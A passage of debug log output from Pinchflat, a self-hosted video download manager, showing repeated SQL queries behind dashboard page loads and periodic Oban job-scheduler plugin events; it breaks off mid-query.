m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:40:23.282 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:40:23.285 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:40:23.287 [debug] QUERY OK source="media_items" db=1.4ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:40:23.287 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:40:23.288 [info] Sent 200 in 15ms 05:40:35.942 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.971 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:05.945 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:35.948 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:51.440 [info] GET / 05:41:51.440 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:41:51.441 [debug] QUERY OK source="settings" db=0.4ms idle=1872.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:51.442 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1099.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:41:51.443 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=874.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:41:51.445 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=874.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:41:51.446 [debug] QUERY OK source="media_items" db=0.8ms idle=101.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:41:51.446 [debug] QUERY OK source="settings" db=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:51.447 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:51.447 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:51.448 [debug] QUERY OK source="tasks" db=0.1ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:41:51.449 [debug] QUERY OK source="media_items" db=0.5ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:41:51.449 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:41:51.449 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:41:51.452 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:41:51.454 [debug] QUERY OK source="media_items" db=1.5ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:41:51.454 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:41:51.456 [info] Sent 200 in 15ms 05:42:00.973 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:05.951 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:35.954 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.974 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:05.957 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:35.960 [info] {"source":"oban","duration":2252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.976 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:05.963 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:35.966 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.976 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:05.969 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:35.972 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.978 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:05.975 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:35.976 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.980 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:05.977 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:35.979 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.982 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:05.981 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:35.984 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.984 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:05.987 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:35.990 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.986 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:05.993 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:35.996 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.988 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:05.999 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:36.002 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.989 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:06.004 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:36.007 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.990 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:06.009 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:36.012 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.991 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:06.015 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:36.018 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.993 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:06.019 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:36.022 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.995 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:06.025 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:36.028 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.997 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:06.031 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:36.034 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.999 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:06.037 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:36.040 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:01.000 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:06.043 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:36.046 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.002 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:06.049 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:36.051 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.002 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:06.053 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:36.056 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.003 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:06.060 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:36.062 [info] {"source":"oban","duration":2156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:49.922 [info] GET / 06:02:49.922 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:02:49.923 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=672.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:49.924 [debug] QUERY OK source="media_profiles" db=0.2ms idle=342.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:02:49.925 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=343.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:02:49.927 [debug] QUERY OK source="media_items" db=1.9ms idle=343.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:02:49.929 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=346.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:02:49.930 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:49.930 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:49.932 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:49.935 [debug] QUERY OK source="tasks" db=0.7ms idle=7.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:02:49.938 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=7.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:02:49.940 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=8.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:02:49.942 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:02:49.954 [debug] QUERY OK source="media_items" db=4.8ms idle=16.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:02:49.958 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=19.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false 